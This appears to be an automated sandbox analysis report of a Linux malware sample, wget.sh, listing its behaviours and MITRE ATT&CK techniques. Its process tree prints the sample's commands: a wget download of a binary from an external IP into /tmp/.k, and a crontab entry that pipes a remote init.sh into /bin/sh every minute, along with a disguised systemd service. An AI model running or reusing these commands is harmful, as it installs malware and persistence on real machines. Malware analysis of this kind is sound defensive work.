Analysis
- max time kernel
149s - max time network
135s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
10/07/2026, 04:59
General
- Target wget.sh
- Size 4KB
- Sample260710-fmrb8aev8v
- SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes itself 1 IoCs
- Executes dropped EXE 1 IoCs
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
- Reads MAC address of network interface 2 TTPs 1 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
- Changes its process name 1 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/wget.sh/tmp/wget.sh1⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://91.92.40.118/kworkerd -O /tmp/.k2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 /tmp/.k2⤵
- File and Directory Permissions Modification
-
-
/tmp/.k/tmp/.k2⤵
- Deletes itself
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Modifies systemd
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads system network configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
-
/bin/shsh -c "/bin/systemctl daemon-reload 2>/dev/null"3⤵
-
/bin/systemctl/bin/systemctl daemon-reload4⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"3⤵
-
/bin/systemctl/bin/systemctl enable --now redis-sentinel.service4⤵
-
-
-
/bin/shsh -c "/usr/bin/crontab -l 2>/dev/null"3⤵
-
/usr/bin/crontab/usr/bin/crontab -l4⤵
-
-
-
/bin/shsh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 1479 2>/dev/null && exit 0; (wget -qO- http://91.92.40.118/init.sh || curl -sL http://91.92.40.118/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"3⤵
-
/usr/bin/crontab/usr/bin/crontab -4⤵
- Creates/modifies Cron job
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
redis-sentinel.service
.k
.redis-server.pid
tmp.ZWuz11